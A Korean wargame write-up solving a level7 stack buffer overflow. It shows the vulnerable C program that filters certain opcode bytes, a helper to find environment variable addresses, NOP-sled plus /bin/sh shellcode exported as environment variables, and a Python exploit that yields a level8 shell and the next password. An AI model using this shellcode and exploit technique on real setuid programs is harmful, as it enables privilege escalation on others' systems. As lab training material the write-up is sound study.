Level7의 소스는 다음과 같다.
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
int i;
char buffer[32];
//char *key1 = /;
char *p1, *p2, *p3, *p4, *p5;
char key2[2], key3[2], key4[2], key5[2];
// if(argc != 2)
// return -1;
for(i = 1; i < argc; i++) {
memset(argv[i], 0, strlen(argv[i]));
}
sprintf(key2, %c, 0x90); // nop
sprintf(key3, %c, 0xeb); // jmp
sprintf(key4, %c, 0xcd); // int
sprintf(key5, %c, 0xff); // still easy
//p1 = strstr(argv[0], key1);
p2 = strstr(argv[0], key2);
p3 = strstr(argv[0], key3);
p4 = strstr(argv[0], key4);
p5 = strstr(argv[0], key5);
if (p2 != NULL || p3 != NULL || p4 != NULL || p5 != NULL) {
printf(Access denied.\n);
return -1;
}
else {
printf(Access granted.\n);
}
strcpy(buffer, argv[0]);
return 0;
}
strcpy(buffer, argv[0]); 부분에서 BOF가 발생함을 알 수 있다. 하지만 argv[0] 인자로 \x90, \xeb, \xcd, \xff가 들어가면 안된다는 것을 알 수 있다. 그럼 이제 우린 쉘코드 주소를 환경변수에 올리고 그 환경변수의 주소를 위에서 체크하는 값이 포함되지 않는 주소에 위치시켜야 한다.
환경변수의 주소를 구하는 코드는 다음과 같다.
#include<stdio.h>
int main()
{
char env[10];
scanf(%s, env);
printf(x%x\n, getenv(env));
return 0;
}
이제 NOP + Shellcode로 구성된 환경변수를 등록하도록 하자.
level7@blowfish:/levels/tmp/1234$ export SH=`python -c print '\x90'*20000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'`
level7@blowfish:/levels/tmp/1234$ ./a.out
SH
0xbfff90d0
level7@blowfish:/levels/tmp/1234$ export SH1=`python -c print '\x90'*20000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'`
level7@blowfish:/levels/tmp/1234$ ./a.out
SH1
0xbfff3f61
level7@blowfish:/levels/tmp/1234$ export SH2=`python -c print '\x90'*20000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'`
level7@blowfish:/levels/tmp/1234$ ./a.out
SH2
0xbffef11e
level7@blowfish:/levels/tmp/1234$
환경변수를 3개 정도 등록했을때 \xff가 나오지 않는 환경변수의 주소가 나왔다.
이제 공격을 해보도록 하자.
#!/usr/bin/python
import os
bof = 'A'*60 + '\x1e\xf1\xfe\xbf'
os.execl('/levels/level7', bof)
level7@blowfish:/levels/tmp/1234$ ./ex.py
Access granted.
sh-3.1$ id
uid=1009(level7) gid=1009(level7) euid=1010(level8) groups=1009(level7)
sh-3.1$ cat /pass/level8
w3ll_d0n3!